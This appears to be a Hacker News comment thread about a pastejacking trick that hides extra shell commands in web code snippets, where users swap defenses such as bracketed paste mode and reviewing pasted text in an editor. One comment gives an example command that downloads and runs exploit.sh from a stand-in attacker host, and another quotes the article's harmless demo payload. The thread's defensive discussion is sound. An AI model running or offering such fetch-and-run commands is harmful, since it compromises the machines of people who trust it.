8 ms·
Look before you paste from a website to terminal
- bjt2n3904 10y agoThe "fix" to this problem is not to let your browser hook Ctrl+C. Mozilla, if you're listening, could you perhaps make this an option? Or perhaps display a notice if you notice JS hook on Ctrl+C?
- beejiu 10y agoThere is no Javascript involved here.
- akerro 10y agoOn zsh I had to press enter manually after pasting the code, before I pasted it I could see 4 lines of code. Just don't let terminals auto-accept pasted code, require user interaction. That is attack on user from clipboard generally, not from browser on terminal, so why browsers should protect clipboards?
- chr1 10y agoThe example in the article doesn't use javascript, and doesn't hook Ctrl-C, all it uses is simple css. The problem here is not related to the browsers at all, the problem is on the terminal side, which should not immediately run and random text that was pasted, but should allow editing the pasted text before running.
- chaosfox 10y agoI am not sure the browser is free of blame here, getting invisible characters copied together with the text I selected goes completely against my expectations.
- brod 10y agothis could be considered a handy feature in a different scenario, the browser shouldn't be responsible for checking if the text you copied was visible. Just get a half decent terminal, many have precautions in place for copy/paste.
- martin-adams 10y agoHere's a question, could such an exploit be achieved using something like Stack Overflow?
- jazoom 10y agoGood question. How much markup do they allow?
- dspillett 10y agoProbably not due to the limited markup options available. It would almost certainly be possible form a great many similar forums and bulletin-board like sites though.
- Klathmon 10y agoCould you get away with a more limited version by abusing Unicode? With so many "unprintables" combined with things like the RTL and LTR control characters I think it would be possible on some level.
- marcinkuzminski 10y agoDepends on the markup extensions, but other websites that allows embedded notes could be also a attack vector.
- deleted 10y ago[deleted]
- beejiu 10y agoYes. If you have multiline code, you can just add whitespace to the first line and it will appear outside of the code element. At least OS X, you cannot see a scroll bar.
- tyrylu 10y agoProbably worthless tip, try browsing that code snippet with a screen reader. Yes, it is not hidden from that software. :-)
- throwanem 10y agoBrowser reader modes reveal it, too.
- libreminded 10y agoor you could just copy the code-snippet by placing the mouse next to character 'l' of 'ls' and mark it with shift+right arrow key. Each selected character and of course white space gets highlighted. When you highlighted the white space next to 'ls' on the right next highlighted character should be '-' but i keeps on marking seemingly forever. If you paste that you'll see that every single character of 'invisible' code gets marked.
- carlesfe 10y agoI feel that we are not exactly the target audience for this kind of tip. Linux forums are full of code snippets that people blindly copy and paste so this is clearly an extended behavior In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget http://hax0r.com/exploit.sh; http://hax0r.com/exploit.sh; bash exploit.sh`), but I wouldn't say the tip is worthless...
- teh_klev 10y agoThis sort of attack has been discussed in great detail previously: https://news.ycombinator.com/item?id=10554679 https://news.ycombinator.com/item?id=10554679 https://news.ycombinator.com/item?id=5508225 https://news.ycombinator.com/item?id=5508225 http://thejh.net/misc/website-terminal-copy-paste http://thejh.net/misc/website-terminal-copy-paste
- esseti 10y agothis should be explited by stack overflow to have a counter on which lines were copied and how many times. With this counter one could know what's the best answer used by many :)
- M4v3R 10y agoNot sure if this is iTerm2 or zsh, but I have to confirm the code I am pasting by pressing enter, which gives me an opportunity to review it first. I like this feature a lot.
- vitohuang 10y agoThat's a feature of iTerm2, it try to warn you about convert characters etc.
- mdrzn 10y agoNot always, sometimes when I copy something and paste it with Ctrl+V (insted of Ctrl+Shift+V) it still get pasted+entered.
- deleted 10y ago[deleted]
- TallGuyShort 10y agoOthers have said it's a feature of iTerm2 (which I don't know about), but it's also a feature of zsh. I use KTerm and it definitely didn't do this with bash, but it does it with zsh.
- d0mine 10y agoThere is safe-paste plugin for oh-my-zsh and you can enable the bracketed paste mode in Bash too by adding set enable-bracketed-paste on to your ~/.inputrc. https://cirw.in/blog/bracketed-paste https://cirw.in/blog/bracketed-paste
- akerro 10y agoPfff should have just put forkbomb there.
- annnnd 10y agoEven more interesting: given the plethora of options terminals have for coloring, moving, erasing and similar, is it possible to hide malicious input from the shell too so that the victim is unaware of it?
- lima 10y agoYep. There are a few demonstrations floating around.
- sly010 10y agoI already paste everything longer than a single line to my non-terminal text editor (e.g. sublime) before I paste it to my terminal or vim. Perhaps I should start doing this for everything.
- gigatexal 10y agoHas anyone been burned by this? I'm going to start pasting things into a different text editor before running them.
- stronglikedan 10y agoThat's my go-to method. I use Notepad++ with "View -> Show Symbol -> Show All Characters" turned on.
- Sean1708 10y agoBracketed paste and a vaguely half-decent terminal emulator will prevent this.
- stymaar 10y agoWhat I usually do since I've been shown this kind of attack : - Ctrl-X Ctrl-E: open the default text editor on your system - paste your snipet here and review it - save the snipet in your editor, it is now run.
- zupreme 10y agoThis is a valid danger but the author goes a bit far with the sudo warning. Unless you're logged in as root to most systems (in which case sudo likely won't be needed to screw your system up) using sudo would result in a password being requested which, I would hope, the user would see as a red flag, especially if they are technical enough to be locating and testing script snippets.
- godelski 10y agoIn zsh I can paste (or paste) into the browser (FF) I get ls ; clear; echo 'Haha! You gave me access to your computer with sudo!'; echo -ne 'h4cking ## (10%)\r'; sleep 0.3; echo -ne 'h4cking ### (20%)\r'; sleep 0.3; echo -ne 'h4cking ##### (33%)\r'; sleep 0.3; echo -ne 'h4cking ####### (40%)\r'; sleep 0.3; echo -ne 'h4cking ########## (50%)\r'; sleep 0.3; echo -ne 'h4cking ############# (66%)\r'; sleep 0.3; echo -ne 'h4cking ##################### (99%)\r'; sleep 0.3; echo -ne 'h4cking ####################### (100%)\r'; echo -ne '\n'; echo 'Hacking complete.'; echo 'Use GUI interface using visual basic to track my IP' ls -lat Which seems like it would be pretty stupid for me to press enter. Which if we're talking security it seems to more sane thing to do is not automatically send commands that are pasted in. Zsh being secure and bash not. I feel this is more a developer issue than user.
- throwaway2016a 10y agoIt would be better if it was a curl piped to bash. Also, I'd love it if there was a curl at the beginning of this to track stats on how many people run it. Although I suspect the stats would be poisoned by people doing forensics. Edit: also, I wonder how many things it would break if browser changed copy to only copy visible text.
- gumby 10y ago> Which seems like it would be pretty stupid for me to press enter. Which if we're talking security it seems to more sane thing to do is not automatically send commands that are pasted in. Zsh being secure and bash not. I feel this is more a developer issue than user. A triple click selection will copy the whole line including the newline. So a paste will execute it as well.
- pmoriarty 10y agozsh implements something called bracketed paste mode.[1] [1] - https://cirw.in/blog/bracketed-paste https://cirw.in/blog/bracketed-paste
- marcinkuzminski 10y agoFound another one here: http://thejh.net/misc/website-terminal-copy-paste http://thejh.net/misc/website-terminal-copy-paste